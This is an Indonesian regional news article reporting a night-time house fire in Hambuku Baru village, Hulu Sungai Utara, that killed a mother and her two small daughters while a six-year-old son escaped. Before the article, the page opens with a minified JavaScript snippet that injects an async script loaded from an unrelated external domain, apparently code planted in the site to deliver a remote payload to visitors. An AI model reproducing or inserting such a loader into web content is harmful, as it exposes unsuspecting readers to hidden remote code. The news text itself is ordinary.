(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Setelah sepekan terjadi kebakaran di Desa Sungai Pandan Tengah Kecamatan Sungai Pandan Alabio, kebakaran rumah kembali terjadi di Desa Hambuku Baru Kecamatan Babirik Kabupaten Hulu Sungai Utara (HSU). Meski hanya menghanguskan 1 buah rumah, namun kebakaran ini memakan tiga korban jiwa dalam satu keluarga.
Menurut Kepala Kepala Desa Hambuku Baru H Masnuransyah kepada Kanalkalimantan Senin (14/1), kendati kebakaran tersebut terjadi terhadap satu keluarga, namun satu di antara 4 korban yang berada disaat kebakaran itu terjadi berhasil selamat.
“Satu anak bernama Ridha Ansari yang berumur enam tahun berhasil menyelamatkan diri kira kira melalui lubang disela-sela rumahnya, sementara ibu dan dua saudarinya yang lain tidak sempat menyelamatkan diri,” ujarnya.
Adapun 2 dari anggota keluarga yang lain seperti ayah dan anak sulung korban tidak berada di lokasi kejadian, pasalnya ayahnya disaat kejadian berlangsung berada di lokasi kerjanya sebagai security di salah satu Perusahaan Karet di Amuntai, dan anaknya yang sulung sedang berada di rumah mertuanya.
Kejadian kebakaran sendiri terjadi pada Senin (14/1) dini hari pukul 01.27 wita. Api yang membakar rumah yang keseluruhan bangunannya dari kayu tersebut tiba-tiba membesar begitu cepat. Sehingga kemungkinan korban tidak sempat menyelamatkan diri bersama kedua anaknya.
Adapun akibat kebakaran sendiri belum diketahui pasti. Untuk sementara ini, masyarakat bahu membahu membantu meringankan keluarga korban yang ditinggal, sambil menunggu bantuan dari pemerintah daerah dan pihak pihak lainnya.
Menurut informasi yang dihimpun, setelah selesai dilakukan pemadaman oleh satgas PBK setempat, 3 korban terbakar ditemukan dalam runtuhan sisa kebakaran. Kejadian ini pun diselidiki oleh pihak berwenang Polres HSU untuk menindak lanjuti ke olah TKP. Adapun korban yang telah di identifikasi adalah ibu Noor Hasanah (38) bersama dua anaknya Noor Sa’dah(5) dan Ulfah Maria Amelia Salsabila (2).
Selanjutnya usai dilakukan pemeriksaan dan sebagainya oleh Polres HSU ketiga korban diserahkan kembali kepada pihak keluarga untuk dapat dikebumikan.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.